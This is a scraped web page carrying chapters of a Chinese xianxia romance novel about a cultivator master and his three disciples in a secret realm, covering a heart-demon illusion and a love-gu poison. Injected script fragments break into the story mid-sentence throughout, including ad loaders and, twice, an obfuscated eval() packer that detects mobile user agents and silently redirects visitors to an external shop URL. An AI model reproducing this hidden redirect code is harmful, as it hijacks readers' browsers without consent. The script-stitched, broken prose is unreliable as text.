而刚吃了美味的大毛雀,则是睁着滴溜溜的绿豆眼,不断乱转,最后停在了问野身上。 “啾!!”大毛雀叫了起来,“啾啾!!!” 某个罪魁祸首:…… 晏江山不明就里,只是拿这只鸟无奈,晏月眉心微拧,袖子下多出把刀来,他看了旁边的师尊一眼,收起刀,在储物戒里翻找着催吐的药。 正当几人各怀心思时,原本冲着问野叫的大毛雀忽的瑟缩起来,叫叫声都没有刚才那么雄赳赳,气昂昂。 青年一怔,惊喜地看向远处,雪白的毛发像是银丝一般,流畅地飘荡着,大白估计就这么出现在视野里。 旁边不少等着捡漏的修士均是一骇,彻底的死了心,纷纷远去。 “师…弟!师弟!”路离话说一半想起来之前师尊交代的事情,又改了口,但是对着自己师尊黏糊的性子没变。 “可气死我了,怎么秘境给我传送到瀑布了,那水打在身上,都没办法用术法弄干,跑了一天才将将干净。”说着大白狐狸往晏江山身上蹭着,其实那水还有点疼,但他没跟师尊说,他这么乖的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 徒弟怎么会让这些事叨扰到师尊呢。 路离接着:“那边离迷雾森林也太远了,我耽误什么事了吗。” “没有。”青年摸了摸狐狸的毛之后,指着瑟瑟发抖的大毛雀,“就是它刚才把月见草吃了。” “我这就杀了它。”巨大的狐狸露出了一口森利白牙,然后就被自家师尊扯住了毛。 “停!我是说,师兄能不能命令它吐出来。”晏江山补充一句,“月见草已经成精了,现在怕是还活着,这大毛雀也有些年头,应该听得懂一点人话。” 路离耸了耸鼻子,知道自己会错了意,开始释放妖兽威压,大毛雀也是相当识相,刚把嘴张开,就有一阵光亮闪过。 从里面蹦出来的不是草,而是两个头上顶着两片叶子的小娃娃,怕是危机感太重,月见草直接在里面化了形。 晏月眉头皱的更深了,如果只是普通灵药还好,现在这种情况,师尊怕是…… “还是不吃了吧。”晏江山的心理还没强大到,毫无芥蒂地吃这种人形精灵,他看着仿佛听懂了话,开始往自己身上爬的小家伙,“怪可爱的。” “啊呀啊呀!”月见精灵从头上拔了片叶子,献宝似的递给晏江山。 “只是一片叶子功效应该会衰退许多。”晏月淡淡道,他看着月见精灵,仿佛在琢磨怎么薅秃它。 月见草捂着脑袋躲在了晏江山身后,晏江山也被逗得啼笑皆非:“算了吧师兄,衰退就衰退。” 真要是衰退,他还能借此掩饰一下,为什么他这病一直没法儿治好。 看着师兄弟几人和乐融洽的模样,问野收起骨鞭幽幽出声:“江道友还是多找点灵药吧,免得生了什么自己都不知道的病。” 晏月听着此人意有所指,冷冷看他一眼,路离则是从重新见到人的喜悦里回过神来,他看着师尊身后的陌生修士,忽然有些不爽。 “你什么意思。” 狐狸磨了磨牙,这人身上怎么会有师尊气息。 “这就要问你的师兄了。” 路离刚要再说什么,忽然浑身的毛都立了起来,与此同时废城的方向传来一阵惊天长啸,连其他区域的妖兽都被惊动,纷纷奔逃。 晏江山看着远方,他有些担心,顾鸣去寻找剑修传承,不会出了什么事吧。 像是知道他心里在想什么,青年蓦然听见了铃声,一声,两声,之后再无声息,那是他给顾鸣的唤幽铃。 他在叫他。 13. 【顾鸣专场】 顾鸣是第一个冲进那道门的。 身为剑门之后,他自认总不能在这方便落于人后,但是,一剑劈开那门之后,他什么也没看到。 跟在他身后的修士们同样茫然,传说这里就是那位大乘期剑修的殒命之地,传承?遗迹?总要有点什么吧。 但什么都没有。 这里位于神殿跟废城中间,周围的建筑更偏向神殿风格,辉煌大气,门后空无一物只有六根十数米的长柱,除此之外别无他物。 “这儿什么都没有?” “怎么会这样。” “传承呢,莫不是被人提前拿走了。” “我一来就被传送到这儿,门没开的时候,想尽办法也进不去。” “你们看这柱子是不是很眼熟?” 最后一句话就像是羽毛落进了水里,没有溅起一点涟漪,很快又被其他修士的不满跟疑惑淹没个彻底。 只有顾鸣还留意着,他仔细端详了这些柱子,它们跟长老们开启秘境注入灵力的柱子一模一样,是因为这里本来就是秘境,所以才存在这样的情况吗? 忽然,手中长剑铮鸣,男人面色一凛看着自己手中的剑,这剑锻造的时候用了玄鸟精魄,向来对所有的恶意觉察都极度敏锐。 传承没了,修士们也不可能对他有这么强烈的恶意,那就只能是…… “这地方不对!快走!”顾鸣大喝一声,飞身打算离开,但原本那开启速度慢到需要人用剑劈开的门,却在瞬间轰然关闭。 沉闷的石头碰撞音回荡在殿里,又传来阵阵回声,震得人耳朵疼,马上又被人们的慌乱的动静压住。 动荡间已经有人慌神用了灵力去劈,并且还不止一个,这么多人难保就有失手的,难保就有倒霉的。 很快,在这地方还没有别的动静时,修士们就已经的打成了一团,顾鸣见状寻了个人少的柱子后,无言观察着。 消息是被故意放出来的,这地方根本就没有什么传承,这是个陷阱。 顾鸣明白的时候,其他人里也有同样想通的,但那人的大喊很快就被剑鸣声覆盖,没有人停手。 男人冷视着人群,这样的一群人,早晚都是要死的,被道友斩于剑下,说不定还痛快点。 意识到自己在想些什么之后,顾鸣一愣,他拧眉揉了揉太阳穴,他怎么会有这样的念头。 “有这样的念头不是很正常吗?”忽然,有人在他旁边道,“一群不知所谓的人,就是该死。” 他看过去,却看不见人,只有一团残影,那显然不是人类。 “怎么样?想杀了他们吗?”那东西继续,“你是他们中间天赋最强,实力最好,修炼最刻苦的,你甘心传承落于他人之手?” “休想骗我,这里根本就没有剑修传遍。”在听到声音的时候,顾鸣感觉自己明显暴躁了起来,头疼欲裂,他意识到自相残杀的修士们,或许也是中了这东西的伎俩。 “滚开,你究竟有何目的!” “还真是一个有毅力的孩子,天赋不错,实力不错,心志也不错,这样的人在外面应该是很受欢迎的吧,或许还有着不低的地位?” 单单看这些话,确实是夸赞人的,可带上那话里浓浓的贪婪与欲望,那就像是无数虫蚁爬在了身上,可怖又恶心。 外面?这魔头是秘境里诞生的?它想找人夺舍? 思绪混乱间,顾鸣从它的话里捕捉到了一些字眼,而现在,自己大抵就是被他选中的了,顾鸣心头泛起憎恶,提起剑劈了过去。 剑光伴随着残影打下,原本的那团东西没了踪影,出现在他附近的变成了顾家的同族。 “堂哥!堂哥是我!”那人叫嚷着,“堂哥怎么对我出手?!” “滚。”顾鸣没有因为换上了他堂弟的脸就松懈半分力道,罡风卷积着灵力,只一剑那后面柱子就出现了裂痕。 “唔,看来这个人不太行,让我来看看在你心里,谁是最特殊的那位吧~” 声音自头顶传来,顾鸣下意识看过去,却只见屋顶六根柱子中间的部分,忽的多出来一只巨大的眼睛,瞳孔浮现出深紫色的纹路,像是一道道血线密布,它在盯着他。 顾鸣神色一怔,随即感觉迷幻了起来,他半跪着提剑撑在地上,周围的声音越来越大,却又忽然变得彻底虚无。 天旋地转,景色变换,他好像离开了那个神殿模样的石室,再睁眼,一帘水被人故意撩向他。 顾鸣顺着地上水渍看过去,洇湿的痕迹一路到了池子里,是后山的灵泉,灵泉中有人笑魇如花:“发什么呆呢你?” “师……” “还愣着?”一只如玉的手从水里伸了出来,上面没盖着衣料,这人 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 现在本来也是如他先前见过的一般,半裸着。 那只手抓在了他有些粗糙的手上,能感受的到,常年汤药温养着,很软。 顾鸣被拉进了水里,落下去的那一刻,他意识也重新回笼,他师尊不会这么对他的,那天……他明明没有在岸边见到他。 剑势裹挟着灵泉,但再次刺了个空,这东西本来也没有实体。 “好你个顾鸣,忽然跟自己师尊动上手了。”那人再次凝成实体,还是方才那模样,或者说,跟之前在他的记忆里一模一样。 “不是买了簪子?”“晏江山”忽然出现在顾鸣身后,气息拂过他耳畔,又伸手撩了一缕发丝,“怎么?不打算给我绾发吗。” “拿了我的美人图,是想做什么?” “顾鸣,我好看吗。” 男人神色恍惚了一瞬,他强撑着意志把一直贴身带着的东西拿出来,木质的簪子不算锋利,但夹杂灵力破开□□还是可以的。 鲜血涌出,顾鸣完全清醒的同时,眼瞳锐利:“魔头,去死吧!” 毁天灭地的威压碾上来,那东西也顾不得装模作样,慌张道:“顾鸣!你杀我是因为你恨我,还是因为我知道了你恋慕师尊的龌龊心思!” 它到底也没等到答案,随着更恐怖的灵势翻涌,整个幻境变得虚碎,六根石柱也受不住颤抖。 “半……半步元婴?你敢强行提阶,你这样……啊!!!” 一声巨响,魔气随着整个石室的炸开跟魔物的死亡,开始外散,打斗的修士们都晕了过去,而顾鸣也在力竭之后陷入昏迷。 不知道过了多久,他再度醒过来,感受到浑身不知道是血还是水的浸润,同时伴随着深入骨髓的刺痛。 “吭!”旁边传来了什么叫声,顾鸣虚弱的睁开眼,那是一头长着翅膀的猪。 与此同时,一张符纸飞了过来,上面写着些许字迹。 “道友,我见那边魔气漫散,赶过去瞧见了你,让小飞送你去琉璃瀑布了,想必你也有听闻,那边净水最能静心,待到彻底清心,离开就好。” 男人感受着周身锥心蚀骨的痛楚,呼吸间铁锈气味浓重,顾鸣扯了扯嘴角,所以…… 是他的心不静吗。 顾鸣重新闭上眼,从储物戒拿出了唤幽铃,一下,两下。 师尊,救救我吧。 14. 师尊,我好疼 迷雾森林。 自那震天的动静过后,问野就总觉得那小仙君心不在焉的,最后甚至直接叫了两个师兄去山洞护法,他自然是明白这情境自己怕是不好跟过去的,就只是坐在外面的树枝上,远远看着山洞方向。 是发生了什么事?少年朝远处看了一眼,多半是跟他剩下的那位师兄有关了。 跟问野想的一样,晏江山这么着急,确实是因为顾鸣,他了解这位大徒弟的性子,如果不是万不得已,顾鸣是怎么也不可能在知道他现在境界大跌的情况,还要用唤幽铃唤他的。 那边大抵是遇上了什么大敌。晏江山闭上眼睛,强行让自己心绪平静下来,开始掐诀念咒,唤幽铃是用他的精血锻造的铃芯,虽然现在境界是没了,但是元婴还在,魂魄短期内离窍还是可以做到的。 失重感传来,青年感觉自己到了一种极为玄妙的境界,他好像踩在空气里,看到自己的躯体被两位徒弟守着,也看到外面百无聊赖的问野,还有更远处广袤迷幻的无边森林。 接着,就感觉到一股力量牵引,直直地把他的魂魄扯了过去。 “顾鸣那边如果真出了什么大乱子,师父现在的境界,又是魂魄状态,怕是帮不上太多吧。” 路离越想越不对,他化为原型,又变大了十数倍,跟晏月传音道:“你带着师父坐上来,我现在往顾鸣那边赶。” 晏月听了并无异议,如果不是知道师尊素来珍视自己的徒弟,他早就出言阻止了,筑基期魂魄离体,此举太过惊险。 更何况……外面那个问野,似乎已经知道了什么,师尊绝不能跟他再扯上任何关系。 师兄弟二人就这么一拍即合,大狐狸又奔向了迷雾深处。 树上的人只是注视着他们的身影消失在迷雾里,随后身形一转,同样凭空消失,只留一根大毛雀的羽毛,飘飘然落下。 “顾鸣!”只用了一盏茶的时间,晏江山就来到了顾鸣身边。 彼时,瀑布哗哗坠落,他的大徒弟正躺在下面的琉璃潭里,原本透明的水五彩斑斓地流动着,只是顾鸣在的那块周围,已经被染成了血色。 晏江山匆忙跑过去,把人抱去了旁边的岸上:“还好吗?怎么会有魔气浸染。” 他一边给顾鸣服下所有能用得上的丹药,一边观察着顾鸣的情况,估计是刚跟什么东西死战,力竭至此。 青年又往周围看了看,这里是琉璃瀑布,出了名清魔静心的地方,再大的魔头在秘境也只是金丹,怎么敢来这地方作祟? “吭~”小飞猪适时发出了点动静,让这位能注意到自己。 晏江山也同样看到了被留下的符纸,明白过来这是怎么一回事:“还请告诉你的主人,感谢道友搭救之恩,改日若是有什么需求,尽管来朝天宗就是。” 小飞猪又吭一声,表示自己知道,见这边有人管,它也没继续在这里守着,扑扇着翅膀寻主人去了。 “师尊……” 顾鸣听见动静再次睁开眼,他现在本就灵力尽耗,又在琉璃瀑布泡过一遭,单是这个动作就耗费极大的力气一般。 但他还是想看看自己师尊。 “嘘,别说话。”晏江山带着诱哄,“我们先休息一会儿,马上就会好了。” 顾鸣靠在师尊怀里,听着这么哄小孩的语气,只是点点头,但并不按师尊吩咐的做。 “师尊,你很久不这么跟我说话了。” 晏江山一愣,要论起收徒时的年纪,顾鸣拜入他门下时是最小的,五六岁的小鬼头随了顾家的模样,自幼就是一板一眼,规规矩矩 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 那会儿,他也是才当了师尊,手下有个小孩徒弟正新鲜,总爱逗逗他,逗炸毛了再哄哄,一来一往乐此不疲。 后来顾鸣年岁更长,心性也更持重,习惯之后轻易不会被他逗炸,他刚巧又捡了晏月,闭关两年,出来之后他们就是很标准的师徒了,宗门不少长老都羡慕自己这个大徒弟规矩,稳重。 此时,晏江山听着顾鸣的话,眸底也露出了些怀念,这是他第一个徒弟,他怎么会忘呢,只是修真界百年不过一瞬,有些东西连他也不记得了。 当初那个五六岁的小鬼,现在正满身血迹,虚弱至极地躺在他怀里。 晏江山既心疼,又心软:“是我对不住你,叫你受了这么重的伤。” 顾鸣敛眸,听着晏江山放软了声音的语调,他自己要闯所谓的传承之地,对师尊之前的提醒置若罔闻,怎么能怪在师尊身上呢,实在是太胡闹了。 可是…… 男人又想起了之前幻境遭遇的东西,说是师尊叫他受伤,好像也没什么错。 他可真是个无理之徒。 顾鸣在心里谴责自己。 随即感受着身上脱离琉璃潭水后,依旧刺痛的身体,又靠近了抱着自己的人:“师尊,我好疼。” “是因为刚才跟一个魔头大战,染了魔气才会疼,马上就会好了。”晏江山解释着,又给他用了些止疼的药丸。 顾鸣没说话,也没解释,只是认真地看着师尊,乖乖服药,默默感受独属于二人的时光。 慢慢的,师尊身上的薄雾清气冲散了喉咙间的血腥味,他静静呼吸着,忽然明白过来之前无意间看到的师尊的话本,为什么这么多人面对痛苦,甘之如饴。 如果这段时间可以长点,再长点,他想,他也愿意的。 15. 爱徒之心 可惜,好景总是不长。 “师父!师父!!”路离一路快马加鞭,没成想等循着师尊而去,又回到了自己最开始的刷新地点。 “师父你没事吧,这里的水会咬人。”狐狸忙小心翼翼避开被水渍沾湿的地方,把晏江山的肉身跟晏月一起放下来。 晏月闻言斜了旁边的琉璃潭一眼,再看那顾鸣的狼狈模样,同样小心避开,没让自己沾染上潭水。 “师父?” 晏江山还在抱着顾鸣,哪怕路离他们来了,也不曾看一眼,只是一直双目紧闭维持一个动作,那道虚幻的身影,在旁边瀑布骇然凶浪下,显得有些单薄。 “师尊!”晏月拧眉,他也顾不得太多,忙把肉身扶过去,然后席地而坐输送灵力。 师尊现在的修为到底才筑基,魂魄离体时间不能过长,他们还是来的晚了,正想着,晏月呵斥住了同样打算输送妖力的路离。 “妖力蛮横,你又不曾好好炼化,现在师尊正虚弱,你想害了他吗!” 路离撇撇嘴,不用功又怎么样,还不是没人打得过他,他才是师父手下最强最宝贝的弟子。 虽然不服,但狐狸也很识趣地走到一旁坐下,老实给正在输送灵力的晏月护法。 “劳烦二位师弟千里迢迢跑一趟了。”顾鸣从刚才有人过来的时候,就已经清醒了,只是等师尊的魂魄开始跟肉身融合,才坐起身来,闭目运气。 “呵,有些人专挑师父修为下跌的时候打架就算了,还要他在筑基的时候魂魄离体,可真是个好徒弟。”路离看着刚刚融合魂魄,脸色苍白的师尊,讥讽道。 “师尊一片爱徒之心罢了,师弟没被这般对待过吗。” 路离一愣,毛被气的炸起,这冷冰山以前可是不会跟他争辩这些,怎么秘境一遭,还变了样? 狐狸呲牙:“看在你有伤,我才不跟你计较的,我早晚要禀明师父,跟你彻彻底底打一架。” “师弟请便。” 路离很生气,但也没办法,对一个重伤的同门出手,哪怕在妖族也是很不光彩的事情,他涂山少主自是不干这样的事的。 “什么禀明,你们吵什么呢。”彼时,被晏月温和的灵力引导着魂魄彻底融合的晏江山,也悠悠转醒。 “师父你听错了,快些往边上再坐坐,那水又疼又擦不干净。”路离知道晏江山不喜欢他们师兄弟之间打架,也无意在这时候让师父烦心,忙扯开了话题。 晏江山把手探进了琉璃潭,但并没有任何感觉,他挑眉看了眼路离一眼:“你小子不好好练功,把血脉里的妖气炼化,心中生戾才会疼的。” “是吗……”路离嘟囔着,他看了一圈,疑惑道,“你们都不疼吗?” 没人理他。 晏月藏起沾了些潭水的腕侧,给师尊又拿了两瓶药剂:“师尊服下后,再休憩一会儿,我们就离开吧,月见草已经到手,秘境如今生变,恐再生乱。” “嗯。”晏江山自行运功,旁边的路离则是一副若有的模样,他盯着潭水悄悄灌了一瓶。 他就不信了,莫不是就只有他疼? 远处密林里,一只翠鸟远远看着他们,而后飞走,又在密林深处化为人形: “少主,前面一行人似乎是当初搭救过我们的江岁安,那魔头大抵是伤了他们的,如今才会在琉璃潭清除魔气。” “江岁安?是他?”男声有些意外,上次他只是十二岁模样,现在看起来已经有十五岁了,声音也没了先前的纯稚。 “废城跟血肉山谷的方向,再放些东西过去,虽然比不上魔门那些魔修纯粹,应该也是差不多的,左右都是鬼东西。” “是,少主。” “等等,可以的话,把他们也引过去吧,能在那魔头手下不死,想必实力不错,越多修仙者知道秘境有魔门四处作祟越好。” “明白。” * 问野觉得不对,虽然魔门素来狂妄,但也没有这么狂的,几乎是每个地方都留有痕迹,毕竟是修仙者的地盘,如今做派实在不谨慎。 可白玉林不在,他也没有这次行动的具体部署,只能是自己搜集一些消息,顺便朝着小仙君的方向溜达溜达。 有时候,白玉林也是有些奇妙的用处的,比如定位。 这次他搜到了废城一片废墟时,就看到了意料之外又在情理之中的人,或者说,不是人。 巨大的狐狸口吐人言:“怎么又是你?” 他察觉周围气息不对,奉令追了过来,但是那个气息诡谲的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 魔修没看到,却只看到先前就看不顺眼的家伙。 “你身上是怎么沾染到他的气息的!”路离再度问出了之前没出口的话。 这般浓度的气息浸染,现在也不散,也就晏月跟师尊独处一整夜时会有,但是晏月要帮师尊施针,这家伙又是为什么? “你师弟喜欢我,自是对我亲近一点,这不?还特地给了我方位让我来寻,像有些不被喜欢的,只能撒泼打滚当宠物才能黏上人一会儿咯。” “找死。” 路离身边飞沙走石,一切都被庞大的妖气席卷着,发毛猎猎而动,以狐狸为中心掀起了一股妖力凝聚的龙卷风,带着足以摧毁一切的力量,冲了过去。 问野身形一闪,消失在原地,两秒之后原本站立的屋顶碎成了一地的渣,龙卷风还在摧毁着周围,问野却出现在了路离身后。 “不愧是涂山少主。”他不咸不淡说了一句,在路离听来跟挑衅也没什么区别。 狐狸眼中戾气尽显,尾巴一甩朝他劈过去,原本在龙卷风的攻势下也能走人的问野,却只躲了一半,然后生生接下了这一击。 “仙君这师兄好生厉害,我只是路过此地,以为有过一面之缘,想打个招呼,不想怕是被当成了魔修。” 路离回头,原本还挑衅他的贼人现在无力地倒在师尊怀里,嘴角还挂着血丝,看起来自己真的把他怎么样了一般。 “你!你放肆!” “路离。”晏江山无奈,他看见那妖力风卷就知道要出事,没想到居然出了这种事,他把人扶进飞舟,又转身道,“剩下的以后再说,师兄先上来吧,该回去了。” 路离磨了磨牙,他好像知道这家伙是怎么染上师尊气息的了,他缩小身量跳进了飞舟,然后委委屈屈缠在晏江山身边。 五百多岁的狐狸恬不知耻的传音:“我又没有把他怎么样,他故意不躲开的,师父干什么这么关心他。” 师父从来没有主动收过徒的,顾鸣是父母之命拜来朝天宗,晏月是无意碰上被捡回来,他是跟涂山一起磨着师父收下。 虽然以前师父也有中意的弟子,可是许久没有这么对待旁人了。 路离心里酸酸的:“师父真的要再收徒?我难道不是师父最亲最爱的徒弟了吗。” 16. 再回朝天宗 晏江山没说话,只是睨了小狐狸一眼,并不像以前那样再摸摸它的脑袋。 他现在确实是在想一件事情,要不要再收个正经徒弟。 如今顾鸣得好一阵修养,等自己修为大跌的这段时间过去,顾鸣想正经打败他,杀了他,怕是难。 晏月就更不用说了,他的那些毒,怕是如何也不会用在自己身上,至于这路离……若是顶着妖族涂山少主的身份杀他,届时他死后事情传出去,少不得被有心人利用一番。 魔门行迹诡谲,本来就是风雨欲来的关头,不能因为这种可以避免的事,再生事端了。 青年轻轻叹了口气,想他来这儿百余年,竟是谋得一场空了。 “师尊为何叹气,可是还有哪里不舒服?”晏月也悄悄传音,他是最能察言观色的。 “没事。”晏江山没打算在这个节骨眼道明心事,他们九灵峰已经许久不进新弟子了,这事儿是得好好考量考量。 一行人乘舟到了出口,三日之期如今才过两日,但出口处守着的人却是不少,想必都听说了里面有魔头生乱。 “怎么样?”飞舟一停,朝天宗的修士就围了上来,目光关切,为首的大长老沉声询问。 “传说中的大乘期剑修遗迹是个骗局,不少年轻有为的修士都陨落于此,个中细节,等我师兄修养好了再告诉各位吧。” 晏月上前一步,把晏江山挡在身后,朝天宗的弟子们可是清楚,九灵峰没有这么一号“小师弟”的,不能在这时候露馅。 “晏师弟,你们在里面有看见我五音峰的弟子吗?” 说话那人背把琴弦尽断的破败古琴,看得出是经历了一场大战,他急急道,“五音峰大部分弟子都确定了踪迹,只有一位,至今没能听到消息,他姓贾,原是吹笛子的,不甚能入耳,如今换了把筝。” 易了容的问野靠在飞舟边上,闻言敛眸侧过了身子,他就很烦修仙者们这一点,跟魔修一样,活着尔虞我诈,死了剥皮吞骨多好呢,也省的他还要生些愧疚,啧,麻烦。 晏月摇了摇头:“原是见了的,只是在迷雾森林又走散了,还有一天时间,他或许还在里面寻机缘。” “但愿如此。”那人望着远处的出口喟叹一声,而后把路让开,“几位师兄弟请。” 回朝天宗的路上,晏江山支着脑袋望向前方,原来当初碰见的同门,就是五音峰那个吹笛子很难听的,如今这下落不明生死未卜,还真是叫人唏嘘。 “在担心那位师弟?”晏月问。 “总归是希望他平安吧。” 问野在一旁撇撇嘴,他可是好的不能再好,如果能就此混进九灵峰……正畅想着,他的梦碎了。 “问野道友,朝天宗不方便散修出入,在这半山腰寻了处地方,你先养着,外门长老就在附近,有什么需要随时跟他说。” 少年看晏江山的架势,也知道刚才的想法怕是不成了,他也老实应下,总归这人又不会放着自己不管,况且那白玉竹簪还在他手里,想找他随时都有由头,不急于一时。 “谢过江道友。” 路离看着这人虚伪的姿态,气的牙痒痒,他暗暗记下位置,头一扭又卧回了舟里。 “师尊,我回去用月见草给您制了药,您跟师兄正需要修养,怕是闭关些许时日会好些。”外人一走,晏月没再避讳称呼。 “是啊,师父,闭关修养吧,九灵峰有我跟晏月呢。”路离也乐乐呵呵,没了之前非黏着晏江山的架势。 事出反常必有妖,晏江山也明白这一点,只是叮嘱着:“好好练功,不许惹事,否则叫你涂山那边的尊长收拾你,他们可是早就想逮你回去的。” “师父最疼我,怎么舍得我离开。”路离把话头扯开,撒着娇尽是无赖姿态。 “师弟活了五百岁,还是小儿心性,不若回去跟如今的涂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13977055|148068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山帝姬一处玩耍,自有乐趣。” 顾鸣嘴里的涂山帝姬,以人类的年岁来算,不过三岁稚童,这一番话是半点不掩饰其中挖苦之意。 “顾鸣你很想打架吗。”路离暴躁道,偏偏顾鸣只是那么一句之后就没再接茬,只有晏江山左右调和。 “同门之间,以和为贵。离儿你少说这种话。”晏江山怎么不知道这其实是顾鸣挑起来的,但他现在伤势不轻,青年也只当他是伤重被影响,心情不好。 “罢了,回去之后我就跟你大师兄一处闭关,你跟其他人不要闹矛盾。” “知道了师父。”听路离的语气就知道,这家伙又是说一套做一套。 晏江山无奈只能让晏月快些把丹药给他,早闭关,早出关就是,徒弟桀骜,只能他自己去管了。 山洞闭目前最后一秒,青年看了眼旁边早就老实打坐的顾鸣,还是他的大徒弟让他省心啊。 跟晏江山设想的一样,这边天色将暗,他跟顾鸣闭关的山洞刚被晏月施下阵法护好,那边就爆发一阵妖力,急急向山下冲去。 晏月是懒得管路离要去干嘛的,那问野不好对付,两人最好是两败俱伤,不治而亡的好。 他冷冷收回视线,回到自己的屋子里,窗外遥遥飞来一只绿色蝴蝶,如果有旁人在,就会发现这其实是药王谷特有的通信工具,且级别不低,是他先前写过去的信有着落了。 青年手一挥,灵蝶被打散,又重新幻化成了数行只有他自己才能看到的字迹,那字迹一板一眼,似是被控制着写下,想认出来,倒也不难。 晏月一行行看着,浅色的瞳孔微颤,旁边两只月见精灵不知世事,“啊呀啊呀”地叫着,但他仿若无闻,整个人僵在了原地。 绿色字迹慢慢消散在空气里,青年踉跄了一下,跌坐在椅子上,他望着远方两人闭关的地方,轻语喃喃: “那东西……原来是情蛊吗……” 17.把师尊给我 这次的闭关并不如晏江山想象的顺利,跟之前的两个夜晚一样,比起凝神运气,他的状态更像是半昏了过去,依旧做着那些莫名其妙的绯梦。 还剩下的微薄意识告诉他,这就是那个破系统的debuff搞的鬼,但他如何也想不到,一个杀伐性质的任务,怎么会有这样的惩罚机制。 最终,晏江山的意识被彻底拉进了梦里,摆脱不得。 彼时,旁边的顾鸣也正困顿着,本来就不稳固的境界又竭力一战,浑身灵气混乱冲击着心脉,跟灵气一样混乱的,是他的思绪。 往日空空如也只有功法,只有术决的脑海,忽的冒出来什么东西,很轻,很柔地唤他。 “顾鸣……”那东西从后面缠了上来,期期艾艾,“我自你幼时便开始教导,如今竟要弃我于不顾了吗。” 顾鸣紧闭的眼睫颤动,周身衣物被郁结的灵气炸开,他还是没有睁眼,只拼尽全力抵抗着。 在去秘境之前他的身体就曾被种下魔种,明明师尊已经帮他清掉了,可依现状来看,分明是残余的魔种掩护着魔气,让它得以不被琉璃潭净化。 “顾鸣,我不是魔,我是你的师尊啊。”虚幻处慢慢浮现了一个身影,红衣落雪,眉目如画,是那副他先前不曾见过的美人榜上绘制的模样。 “只见过一次,便印在了心底,你怎么敢说不是恋慕我。” “顾鸣,你怎么不敢说,你爱我?” 男人忽的吐出一口血来,他强行调转灵气,让它们在正常运行的轨道,把心魔死死封在心底。 等它的声音消失后,顾鸣却又听见了其他动静,是还没封死?他拧眉,而后察觉不对,猛的睁眼。 跟他一同闭关的师尊正倒在地上,看情状,很是难受,但这份难受里多少有了些缠绵的味道。 莫不是师尊也沾染上魔气,生了心魔?顾鸣下意识又想,那他的心魔会是为谁而生呢。 随即,端方持重的九灵大弟子也意识到自己对师尊的冒犯,忙散了那些旎思,他把师尊从地上抱起来,一掌破开前不久才被封闭的洞府。 素来喜欢守着师尊的晏月,现在却没在外面,顾鸣眉心微蹙,他看着难耐的师尊,只得传音唤人。 晏月赶到时,师尊正被他衣衫不整的大徒弟抱在怀里,耳侧脖颈处白皙的皮肤上,还沾着肮脏糜艳的血红。 青年眸色沉沉,语气像是高岭风雪一样刺人:“把他给我。” 顾鸣觉得不对,今晚的所有人都很奇怪,比如师尊,比如晏月。 他没放手:“师尊这是怎么了,是在秘境又中了什么毒,还是之前病状未好,转而复发,又或者是——” 跟他一样,生了关于谁的心魔吗。 “我说,把他给我。”这一句比之前更冷,平日里那些温雅和善仿佛在夜间被撕破了伪装,露出真正的面目。 “晏月,你究竟想做什么。”顾鸣的语气也冷了下来。 在最开始的时候,他就看这个师弟不顺眼,不只是因为他突然闯入他们的生活,还害师尊平白闭关两年,更因为这个师弟真的很假。 说也假,笑也假,明明就是一潭死水,非在师尊跟前装出个活泛模样。如果不是他也同样为师尊好,顾鸣早就忍不住找人切磋一番了。 晚风轻吹,月光洒下,落得满庭银辉,凉薄如水。 晏月静静站着,目光停在再度陷入梦魇的师尊身上,半晌过后,才缓声道:“我不会害他的,把师尊给我。” 顾鸣还是有顾虑,偏生师尊的身体一向都是晏月负责,况且师尊如今这般情状,也不太好去找七药峰长老来看,他还是把怀里的人交了出去。 知道师尊是因何而病,晏月也说不出自己是个什么心境。 情蛊又叫鸳鸯蛊,一般分于两人种下后,每月中旬以雌蛊宿主修为做代价,强行助另一人境界大升。 虽然有破解之法,但一般用了鸳鸯蛊的,还真不是鸳鸯佳偶。不少魔修以此乱世,引得修仙界人心惶惶,生怕哪天自己被抓了做雌蛊宿主。 一个成名已久的元婴修士,是不可能在自己不知晓的情况下,服了这般毒物的。师尊他知道,甚至可能是他自愿的。 晏月不禁去想,雄蛊现在又在谁体内,那人居然就这么让师尊心甘情愿助他吗,甚至不惜让自己修为大跌。 “你抱得太紧了。” 青年闻言,这才回神,放松了姿态。 顾鸣提醒过后又问:“今天晚上发生了什么。” 晏月敛眸:“师尊叫我看好路离,我没看住,他下山跟问野打架去了,等师尊醒过来,怕是要生气的。” “我下山看看。”他再怎么样,也是九灵的大弟子,这种事情自是有责任管上一管,更别说这是师尊的吩咐。 “师兄带两瓶丹药,你自己还病着,他们打架,多半也要受伤。”晏月忽然很贴心似的,“今日琉璃潭里,师兄可还好?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984762|148068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 顾鸣面色一凛,他总觉得晏月最后一句是话中有话。 